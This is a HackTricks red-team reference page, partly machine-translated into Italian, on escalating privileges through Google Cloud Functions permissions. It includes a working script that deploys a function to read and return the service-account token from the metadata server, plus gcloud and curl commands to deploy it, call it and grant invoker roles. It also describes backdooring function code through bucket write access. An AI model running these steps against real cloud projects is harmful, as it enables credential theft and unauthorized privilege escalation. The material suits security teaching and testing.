GCP - Cloudfunctions Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

cloudfunctions

More information about Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaccante con questi privilegi può create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account. Then, leak the Service Account token from the metadata to escalate privileges to it.
Potrebbero essere necessari alcuni privilegi per attivare la funzione.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaccante con questi privilegi può modify the code of a Function and even modify the service account attached con l’obiettivo di esfiltrare il token.

Caution

In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.

Potrebbero essere richiesti privilegi aggiuntivi come il permesso .call per la versione 1 di cloudfunctions o il ruolo role/run.invoker per invocare la funzione.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Se ricevi l’errore Permission 'run.services.setIamPolicy' denied on resource... è perché stai usando il parametro --allow-unauthenticated e non hai i permessi sufficienti per farlo.

Lo script di exploit per questo metodo si trova here.

cloudfunctions.functions.sourceCodeSet

Con questo permesso puoi ottenere un URL firmato che permette di caricare un file in un bucket della funzione (ma il codice della funzione non verrà cambiato, devi comunque aggiornarlo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Non sono davvero sicuro di quanto possa essere utile solo questo permesso dal punto di vista di un attaccante, ma è bene saperlo.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Concediti uno qualsiasi dei precedenti privilegi .update o .create per eseguire l’elevazione dei privilegi.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Avendo solo le autorizzazioni cloudfunctions, senza iam.serviceAccounts.actAs non potrai aggiornare la funzione, QUINDI QUESTO NON È UN PRIVESC VALIDO.

Invocare funzioni

Con le autorizzazioni cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, e run.routes.invoke, un’identità può invocare direttamente Cloud Functions. È inoltre necessario che la funzione consenta traffico pubblico, oppure che il chiamante si trovi nella stessa rete della funzione stessa.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Accesso in lettura e scrittura sul bucket

Se hai accesso in lettura e scrittura sul bucket puoi monitorare le modifiche al codice e, ogni volta che avviene un aggiornamento nel bucket, puoi sostituire il nuovo codice con il tuo, in modo che la nuova versione della Cloud Function venga eseguita con il codice backdoored inviato.

You can check more about the attack in:

GCP - Storage Privesc

Tuttavia, non puoi usare questo per pre-compromettere Cloud Functions di terzi perché se crei il bucket nel tuo account e gli concedi permessi pubblici in modo che il progetto esterno possa scriverci sopra, ricevi il seguente errore:

Caution

Tuttavia, questo potrebbe essere usato per DoS attacks.

Accesso in lettura e scrittura su Artifact Registry

Quando viene creata una Cloud Function, una nuova immagine docker viene inviata all’Artifact Registry del progetto. Ho provato a modificare l’immagine con una nuova, e persino a eliminare l’immagine corrente (e l’immagine cache) ma nulla è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe essere possibile abusare di una Race Condition attack come con il bucket per cambiare il docker container che verrà eseguito, ma modificando soltanto l’immagine memorizzata non è possibile compromettere la Cloud Function.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks